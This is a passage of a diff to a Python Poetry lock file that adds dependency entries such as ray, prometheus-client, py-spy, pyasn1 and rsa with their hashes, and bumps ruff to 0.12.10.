"0.55b1" +description = "Prometheus Metric Exporter for OpenTelemetry" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "opentelemetry_exporter_prometheus-0.55b1-py3-none-any.whl", hash = "sha256:f364fbbff9e5de37a112ff104d1185fb1d7e2046c5ab5911e5afebc7ab3ddf0e"}, + {file = "opentelemetry_exporter_prometheus-0.55b1.tar.gz", hash = "sha256:d13ec0b22bf394113ff1ada5da98133a4b051779b803dae183188e26c4bd9ee0"}, +] + +[package.dependencies] +opentelemetry-api = ">=1.12,<2.0" +opentelemetry-sdk = ">=1.34.1,<1.35.0" +prometheus-client = ">=0.5.0,<1.0.0" + [[package]] name = "opentelemetry-instrumentation" version = "0.55b1" @@ -3207,7 +3561,7 @@ version = "4.3.8" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false python-versions = ">=3.9" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4"}, {file = "platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc"}, @@ -3356,6 +3710,21 @@ files = [ [package.dependencies] tqdm = "*" +[[package]] +name = "prometheus-client" +version = "0.22.1" +description = "Python client for the Prometheus monitoring system." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "prometheus_client-0.22.1-py3-none-any.whl", hash = "sha256:cca895342e308174341b2cbf99a56bef291fbc0ef7b9e5412a0f26d653ba7094"}, + {file = "prometheus_client-0.22.1.tar.gz", hash = "sha256:190f1331e783cf21eb60bca559354e0a4d4378facecf78f5428c39b675d20d28"}, +] + +[package.extras] +twisted = ["twisted"] + [[package]] name = "prompt-toolkit" version = "3.0.51" @@ -3479,6 +3848,24 @@ files = [ {file = "propcache-0.3.2.tar.gz", hash = "sha256:20d7d62e4e7ef05f221e0db2856b979540686342e7dd9973b815599c7057e168"}, ] +[[package]] +name = "proto-plus" +version = "1.26.1" +description = "Beautiful, Pythonic protocol buffers" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66"}, + {file = "proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012"}, +] + +[package.dependencies] +protobuf = ">=3.19.0,<7.0.0" + +[package.extras] +testing = ["google-api-core (>=1.31.5)"] + [[package]] name = "protobuf" version = "5.29.5" @@ -3552,6 +3939,27 @@ files = [ [package.extras] tests = ["pytest"] +[[package]] +name = "py-spy" +version = "0.4.1" +description = "" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "py_spy-0.4.1-py2.py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:809094208c6256c8f4ccadd31e9a513fe2429253f48e20066879239ba12cd8cc"}, + {file = "py_spy-0.4.1-py2.py3-none-macosx_11_0_arm64.whl", hash = "sha256:1fb8bf71ab8df95a95cc387deed6552934c50feef2cf6456bc06692a5508fd0c"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee776b9d512a011d1ad3907ed53ae32ce2f3d9ff3e1782236554e22103b5c084"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:532d3525538254d1859b49de1fbe9744df6b8865657c9f0e444bf36ce3f19226"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4972c21890b6814017e39ac233c22572c4a61fd874524ebc5ccab0f2237aee0a"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6a80ec05eb8a6883863a367c6a4d4f2d57de68466f7956b6367d4edd5c61bb29"}, + {file = "py_spy-0.4.1-py2.py3-none-win_amd64.whl", hash = "sha256:d92e522bd40e9bf7d87c204033ce5bb5c828fca45fa28d970f58d71128069fdc"}, + {file = "py_spy-0.4.1.tar.gz", hash = "sha256:e53aa53daa2e47c2eef97dd2455b47bb3a7e7f962796a86cc3e7dbde8e6f4db4"}, +] + +[package.extras] +test = ["numpy"] + [[package]] name = "pyarrow" version = "19.0.1" @@ -3607,6 +4015,33 @@ files = [ [package.extras] test = ["cffi", "hypothesis", "pandas", "pytest", "pytz"] +[[package]] +name = "pyasn1" +version = "0.6.1" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, + {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, +] + +[[package]] +name = "pyasn1-modules" +version = "0.4.2" +description = "A collection of ASN.1-based protocols modules" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, + {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, +] + +[package.dependencies] +pyasn1 = ">=0.6.1,<0.7.0" + [[package]] name = "pycparser" version = "2.22" @@ -3973,7 +4408,7 @@ files = [ {file = "pywin32-311-cp39-cp39-win_amd64.whl", hash = "sha256:e0c4cfb0621281fe40387df582097fd796e80430597cb9944f0ae70447bacd91"}, {file = "pywin32-311-cp39-cp39-win_arm64.whl", hash = "sha256:62ea666235135fee79bb154e695f3ff67370afefd71bd7fea7512fc70ef31e3d"}, ] -markers = {main = "sys_platform == \"win32\"", dev = "sys_platform == \"win32\" and platform_python_implementation != \"PyPy\""} +markers = {main = "sys_platform == \"win32\"", dev = "platform_python_implementation != \"PyPy\" and sys_platform == \"win32\""} [[package]] name = "pyyaml" @@ -4158,6 +4593,88 @@ files = [ [package.dependencies] cffi = {version = "*", markers = "implementation_name == \"pypy\""} +[[package]] +name = "ray" +version = "2.48.0" +description = "Ray provides a simple, universal API for building distributed applications." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "ray-2.48.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:6ca2b9ce45ad360cbe2996982fb22691ecfe6553ec8f97a2548295f0f96aac78"}, + {file = "ray-2.48.0-cp310-cp310-macosx_12_0_x86_64.whl", hash = "sha256:33bda4753ad0acd2b524c9158089d43486cd44cc59fe970466435bc2968fde2d"}, + {file = "ray-2.48.0-cp310-cp310-manylinux2014_aarch64.whl", hash = "sha256:f820950bc44d7b000c223342f5c800c9c08e7fd89524201125388ea211caad1a"}, + {file = "ray-2.48.0-cp310-cp310-manylinux2014_x86_64.whl", hash = "sha256:649ed9442dc2d39135c593b6cf0c38e8355170b92672365ab7a3cbc958c42634"}, + {file = "ray-2.48.0-cp310-cp310-win_amd64.whl", hash = "sha256:be45690565907c4aa035d753d82f6ff892d1e6830057b67399542a035b3682f0"}, + {file = "ray-2.48.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:4b9b92ac29635f555ef341347d9a63dbf02b7d946347239af3c09e364bc45cf8"}, + {file = "ray-2.48.0-cp311-cp311-macosx_12_0_x86_64.whl", hash = "sha256:b94500fe2d17e491fe2e9bd4a3bf62df217e21a8f2845033c353d4d2ea240f73"}, + {file = "ray-2.48.0-cp311-cp311-manylinux2014_aarch64.whl", hash = "sha256:24a70f416ec0be14b975f160044805ccb48cc6bc50de632983eb8f0a8e16682b"}, + {file = "ray-2.48.0-cp311-cp311-manylinux2014_x86_64.whl", hash = "sha256:46d4b42a58492dec79caad2d562344689a4f99a828aeea811a0cd2cd653553ef"}, + {file = "ray-2.48.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfb48c10371c267fdcf7f4ae359cab706f068178b9c65317ead011972f2c0bf3"}, + {file = "ray-2.48.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:8de799f3b0896f48d306d5e4a04fc6037a08c495d45f9c79935344e5693e3cf8"}, + {file = "ray-2.48.0-cp312-cp312-macosx_12_0_x86_64.whl", hash = "sha256:5a6f57126eac9dd3286289e07e91e87b054792f9698b6f7ccab88b624816b542"}, + {file = "ray-2.48.0-cp312-cp312-manylinux2014_aarch64.whl", hash = "sha256:f1cf33d260316f92f77558185f1c36fc35506d76ee7fdfed9f5b70f9c4bdba7f"}, + {file = "ray-2.48.0-cp312-cp312-manylinux2014_x86_64.whl", hash = "sha256:a42ed3b640f4b599a3fc8067c83ee60497c0f03d070d7a7df02a388fa17a546b"}, + {file = "ray-2.48.0-cp312-cp312-win_amd64.whl", hash = "sha256:e15fdffa6b60d5729f6025691396b8a01dc3461ba19dc92bba354ec1813ed6b1"}, + {file = "ray-2.48.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:a7a6d830d9dc5ae8bb156fcde9a1adab7f4edb004f03918a724d885eceb8264d"}, + {file = "ray-2.48.0-cp313-cp313-macosx_12_0_x86_64.whl", hash = "sha256:5742b72a514afe5d60f41330200cd508376e16c650f6962e62337aa482d6a0c6"}, + {file = "ray-2.48.0-cp313-cp313-manylinux2014_aarch64.whl", hash = "sha256:622e6bcdb78d98040d87bea94e65d0bb6ccc0ae1b43294c6bd69f542bf28e092"}, + {file = "ray-2.48.0-cp313-cp313-manylinux2014_x86_64.whl", hash = "sha256:25e4b79fcc8f849d72db1acc4f03f37008c5c0b745df63d8a30cd35676b6545e"}, + {file = "ray-2.48.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:ea9d7739ae8f6db48b226bbc2a592640f7f2b6d854ff73d0305774b98fa9fb11"}, + {file = "ray-2.48.0-cp39-cp39-macosx_12_0_x86_64.whl", hash = "sha256:b427dead5f8ad96d494d3a006d92ea2f8f16be5e6303b590e12234b37f96fbc2"}, + {file = "ray-2.48.0-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:a45de103173c2ed6a0defd7a2919a2bbe531fd5bf6619860cd111ca4a16e9288"}, + {file = "ray-2.48.0-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:e6543fb3450a71862cfa1e7a666025d751f81685602cc87d499072ccd839507d"}, + {file = "ray-2.48.0-cp39-cp39-win_amd64.whl", hash = "sha256:b37a0fea4094f95d5926b1d7245abd70deb62882da3d738f9f9b76214894745c"}, +] + +[package.dependencies] +aiohttp = {version = ">=3.7", optional = true, markers = "extra == \"serve\""} +aiohttp-cors = {version = "*", optional = true, markers = "extra == \"serve\""} +click = ">=7.0" +colorful = {version = "*", optional = true, markers = "extra == \"serve\""} +fastapi = {version = "*", optional = true, markers = "extra == \"serve\""} +filelock = "*" +grpcio = {version = ">=1.42.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"serve\""} +jsonschema = "*" +msgpack = ">=1.0.0,<2.0.0" +opencensus = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-exporter-prometheus = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-proto = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-sdk = {version = ">=1.30.0", optional = true, markers = "extra == \"serve\""} +packaging = "*" +prometheus-client = {version = ">=0.7.1", optional = true, markers = "extra == \"serve\""} +protobuf = ">=3.15.3,<3.19.5 || >3.19.5" +py-spy = [ + {version = ">=0.2.0", optional = true, markers = "python_version < \"3.12\" and extra == \"serve\""}, + {version = ">=0.4.0", optional = true, markers = "python_version >= \"3.12\" and extra == \"serve\""}, +] +pydantic = {version = "<2.0.dev0 || >=2.5.dev0,<3", optional = true, markers = "extra == \"serve\""} +pyyaml = "*" +requests = "*" +smart-open = {version = "*", optional = true, markers = "extra == \"serve\""} +starlette = {version = "*", optional = true, markers = "extra == \"serve\""} +uvicorn = {version = "*", extras = ["standard"], optional = true, markers = "extra == \"serve\""} +virtualenv = {version = ">=20.0.24,<20.21.1 || >20.21.1", optional = true, markers = "extra == \"serve\""} +watchfiles = {version = "*", optional = true, markers = "extra == \"serve\""} + +[package.extras] +adag = ["cupy-cuda12x ; sys_platform != \"darwin\""] +air = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "fsspec", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +all = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "cupy-cuda12x ; sys_platform != \"darwin\"", "dm-tree", "fastapi", "fsspec", "grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\"", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "gymnasium (==1.0.0)", "lz4", "memray ; sys_platform != \"win32\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "ormsgpack (==1.7.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "pyyaml", "requests", "scipy", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +all-cpp = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "cupy-cuda12x ; sys_platform != \"darwin\"", "dm-tree", "fastapi", "fsspec", "grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\"", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "gymnasium (==1.0.0)", "lz4", "memray ; sys_platform != \"win32\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "ormsgpack (==1.7.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "pyyaml", "ray-cpp (==2.48.0)", "requests", "scipy", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +cgraph = ["cupy-cuda12x ; sys_platform != \"darwin\""] +client = ["grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\""] +cpp = ["ray-cpp (==2.48.0)"] +data = ["fsspec", "numpy (>=1.20)", "pandas (>=1.3)", "pyarrow (>=9.0.0)"] +default = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "virtualenv (>=20.0.24,!=20.21.1)"] +llm = ["aiohttp (>=3.7)", "aiohttp-cors", "async-timeout ; python_version < \"3.11\"", "colorful", "fastapi", "fsspec", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "jsonref (>=1.1.0)", "jsonschema", "ninja", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "typer", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "vllm (>=0.9.2)", "watchfiles"] +observability = ["memray ; sys_platform != \"win32\""] +rllib = ["dm-tree", "fsspec", "gymnasium (==1.0.0)", "lz4", "ormsgpack (==1.7.0)", "pandas", "pyarrow (>=9.0.0)", "pyyaml", "requests", "scipy", "tensorboardX (>=1.9)"] +serve = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +serve-grpc = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +train = ["fsspec", "pandas", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "tensorboardX (>=1.9)"] +tune = ["fsspec", "pandas", "pyarrow (>=9.0.0)", "requests", "tensorboardX (>=1.9)"] + [[package]] name = "referencing" version = "0.36.2" @@ -4540,6 +5057,21 @@ files = [ {file = "rpds_py-0.27.0.tar.gz", hash = "sha256:8b23cf252f180cda89220b378d917180f29d313cd6a07b2431c0d3b776aae86f"}, ] +[[package]] +name = "rsa" +version = "4.9.1" +description = "Pure-Python RSA implementation" +optional = false +python-versions = "<4,>=3.6" +groups = ["main"] +files = [ + {file = "rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762"}, + {file = "rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75"}, +] + +[package.dependencies] +pyasn1 = ">=0.1.3" + [[package]] name = "ruamel-yaml" version = "0.18.14" @@ -4618,31 +5150,31 @@ files = [ [[package]] name = "ruff" -version = "0.12.9" +version = "0.12.10" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.12.9-py3-none-linux_armv6l.whl", hash = "sha256:fcebc6c79fcae3f220d05585229463621f5dbf24d79fdc4936d9302e177cfa3e"}, - {file = "ruff-0.12.9-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:aed9d15f8c5755c0e74467731a007fcad41f19bcce41cd75f768bbd687f8535f"}, - {file = "ruff-0.12.9-py3-none-macosx_11_0_arm64.whl", hash = "sha256:5b15ea354c6ff0d7423814ba6d44be2807644d0c05e9ed60caca87e963e93f70"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d596c2d0393c2502eaabfef723bd74ca35348a8dac4267d18a94910087807c53"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1b15599931a1a7a03c388b9c5df1bfa62be7ede6eb7ef753b272381f39c3d0ff"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3d02faa2977fb6f3f32ddb7828e212b7dd499c59eb896ae6c03ea5c303575756"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:17d5b6b0b3a25259b69ebcba87908496e6830e03acfb929ef9fd4c58675fa2ea"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:72db7521860e246adbb43f6ef464dd2a532ef2ef1f5dd0d470455b8d9f1773e0"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a03242c1522b4e0885af63320ad754d53983c9599157ee33e77d748363c561ce"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc83e4e9751e6c13b5046d7162f205d0a7bac5840183c5beebf824b08a27340"}, - {file = "ruff-0.12.9-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:881465ed56ba4dd26a691954650de6ad389a2d1fdb130fe51ff18a25639fe4bb"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:43f07a3ccfc62cdb4d3a3348bf0588358a66da756aa113e071b8ca8c3b9826af"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:07adb221c54b6bba24387911e5734357f042e5669fa5718920ee728aba3cbadc"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_i686.whl", hash = "sha256:f5cd34fabfdea3933ab85d72359f118035882a01bff15bd1d2b15261d85d5f66"}, - {file = "ruff-0.12.9-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:f6be1d2ca0686c54564da8e7ee9e25f93bdd6868263805f8c0b8fc6a449db6d7"}, - {file = "ruff-0.12.9-py3-none-win32.whl", hash = "sha256:cc7a37bd2509974379d0115cc5608a1a4a6c4bff1b452ea69db83c8855d53f93"}, - {file = "ruff-0.12.9-py3-none-win_amd64.whl", hash = "sha256:6fb15b1977309741d7d098c8a3cb7a30bc112760a00fb6efb7abc85f00ba5908"}, - {file = "ruff-0.12.9-py3-none-win_arm64.whl", hash = "sha256:63c8c819739d86b96d500cce885956a1a48ab056bbcbc61b747ad494b2485089"}, - {file = "ruff-0.12.9.tar.gz", hash = "sha256:fbd94b2e3c623f659962934e52c2bea6fc6da11f667a427a368adaf3af2c866a"}, + {file = "ruff-0.12.10-py3-none-linux_armv6l.whl", hash = "sha256:8b593cb0fb55cc8692dac7b06deb29afda78c721c7ccfed22db941201b7b8f7b"}, + {file = "ruff-0.12.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ebb7333a45d56efc7c110a46a69a1b32365d5c5161e7244aaf3aa20ce62399c1"}, + {file = "ruff-0.12.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:d59e58586829f8e4a9920788f6efba97a13d1fa320b047814e8afede381c6839"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:822d9677b560f1fdeab69b89d1f444bf5459da4aa04e06e766cf0121771ab844"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:37b4a64f4062a50c75019c61c7017ff598cb444984b638511f48539d3a1c98db"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2c6f4064c69d2542029b2a61d39920c85240c39837599d7f2e32e80d36401d6e"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:059e863ea3a9ade41407ad71c1de2badfbe01539117f38f763ba42a1206f7559"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1bef6161e297c68908b7218fa6e0e93e99a286e5ed9653d4be71e687dff101cf"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4f1345fbf8fb0531cd722285b5f15af49b2932742fc96b633e883da8d841896b"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f68433c4fbc63efbfa3ba5db31727db229fa4e61000f452c540474b03de52a9"}, + {file = "ruff-0.12.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:141ce3d88803c625257b8a6debf4a0473eb6eed9643a6189b68838b43e78165a"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f3fc21178cd44c98142ae7590f42ddcb587b8e09a3b849cbc84edb62ee95de60"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7d1a4e0bdfafcd2e3e235ecf50bf0176f74dd37902f241588ae1f6c827a36c56"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e67d96827854f50b9e3e8327b031647e7bcc090dbe7bb11101a81a3a2cbf1cc9"}, + {file = "ruff-0.12.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ae479e1a18b439c59138f066ae79cc0f3ee250712a873d00dbafadaad9481e5b"}, + {file = "ruff-0.12.10-py3-none-win32.whl", hash = "sha256:9de785e95dc2f09846c5e6e1d3a3d32ecd0b283a979898ad427a9be7be22b266"}, + {file = "ruff-0.12.10-py3-none-win_amd64.whl", hash = "sha256:7837eca8787f076f67aba2ca559cefd9c5cbc3a9852fd66186f4201b87c1563e"}, + {file = "ruff-0.12.10-py3-none-win_arm64.whl", hash = "sha256:cc138cc06ed9d4bfa9d667a65af7172b47840e1a98b02ce7011c391e54635ffc"}, + {file = "ruff-0.12.10.tar.gz", hash = "sha256:189ab65149d11ea69a2d775343adf5f49bb2426fc4780f65ee33b423ad2e47f9"}, ] [[package]] @@ -5051,6 +5583,21 @@ typing-extensions = {version = ">=4.10.0", markers = "python_version < \"3.13\"" [package.extras] full = ["httpx (>=0.27.0,<0.29.0)", "itsdangerous", "jinja2", "python-multipart (>=0.0.18)", "pyyaml"] +[[package]] +name = "tabulate" +version = "0.9.0" +description = "Pretty-print tabular data" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "tabulate-0.9.0-py3-none-any.whl", hash = "sha256:024ca478df22e9340661486f85298cff5f6dcdba14f3813e8830015b9ed1948f"}, + {file = "tabulate-0.9.0.tar.gz", hash = "sha256:0095b12bf5966de529c0feb1fa08671671b3368eec77d7ef7ab114be2c068b3c"}, +] + +[package.extras] +widechars = ["wcwidth"] + [[package]] name = "taskgroup" version = "0.2.2" @@ -5263,7 +5810,7 @@ description = "A lil' TOML parser" optional = false python-versions = ">=3.8" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"}, {file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"}, @@ -5555,7 +6102,6 @@ description = "The lightning-fast ASGI server." optional = false python-versions = ">=3.9" groups = ["main"] -markers = "sys_platform != \"emscripten\"" files = [ {file = "uvicorn-0.35.0-py3-none-any.whl", hash = "sha256:197535216b25ff9b785e29a0b79199f55222193d47f820816e7da751e9bc8d4a"}, {file = "uvicorn-0.35.0.tar.gz", hash = "sha256:bc662f087f7cf2ce11a1d7fd70b90c9f98ef2e2831556dd078d131b96cc94a01"}, @@ -5563,19 +6109,79 @@ files = [ [package.dependencies] click = ">=7.0" +colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""} h11 = ">=0.8" +httptools = {version = ">=0.6.3", optional = true, markers = "extra == \"standard\""} +python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""} typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} +uvloop = {version = ">=0.15.1", optional = true, markers = "sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\" and extra == \"standard\""} +watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""} +websockets = {version = ">=10.4", optional = true, markers = "extra == \"standard\""} [package.extras] standard = ["colorama (>=0.4) ; sys_platform == \"win32\"", "httptools (>=0.6.3)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.15.1) ; sys_platform != \"win32\" and sys_platform != \"cygwin\" and platform_python_implementation != \"PyPy\"", "watchfiles (>=0.13)", "websockets (>=10.4)"] +[[package]] +name = "uvloop" +version = "0.21.0" +description = "Fast implementation of asyncio event loop on 